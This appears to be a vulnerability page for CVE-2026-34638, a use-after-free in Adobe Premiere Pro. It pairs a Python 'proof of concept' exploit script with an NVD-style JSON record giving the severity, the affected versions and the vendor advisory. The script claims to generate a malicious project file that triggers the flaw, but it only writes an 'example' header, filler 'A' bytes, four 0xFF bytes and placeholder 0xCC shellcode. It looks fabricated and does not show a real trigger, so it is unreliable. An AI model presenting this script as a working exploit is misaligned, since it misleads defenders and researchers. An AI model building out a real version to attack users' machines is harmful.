CVE-2026-34638

import struct # Proof of Concept for CVE-2026-34638 (Use After Free) # This script generates a malformed file structure designed to trigger # the memory corruption vulnerability in Adobe Premiere Pro. # Note: For educational and defensive testing purposes only. def generate_malicious_file(filename): # File header magic bytes (example for Premiere Project) header = b"\x00\x00\x00\x01\x50\x52\x4D\x50" # Malicious block designed to cause UAF # Crafting a specific size that triggers the allocation/deallocation bug corrupt_block = b"A" * 0x100 # Free reference simulation (triggering the free) free_trigger = b"\xFF\xFF\xFF\xFF" # Re-use payload (Shellcode placeholder) # This will occupy the freed memory payload = b"\xCC" * 0x50 with open(filename, "wb") as f: f.write(header) f.write(corrupt_block) f.write(free_trigger) f.write(payload) print(f"[+] Malicious file generated: {filename}") print(f"[+] Attempt to open in vulnerable Adobe Premiere Pro version.") if __name__ == "__main__": generate_malicious_file("cve_2026_34638_poc.prproj")

{"cve": {"id": "CVE-2026-34638", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:10.190", "lastModified": "2026-05-13T14:28:31.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:premiere_pro:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.6.5", "matchCriteriaId": "5785D702-760C-4732-A035-0FE9979B51E9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:premiere_pro:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.2", "matchCriteriaId": "2DB8A153-6ACB-4DDC-9B9B-24EE19CCCAE3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}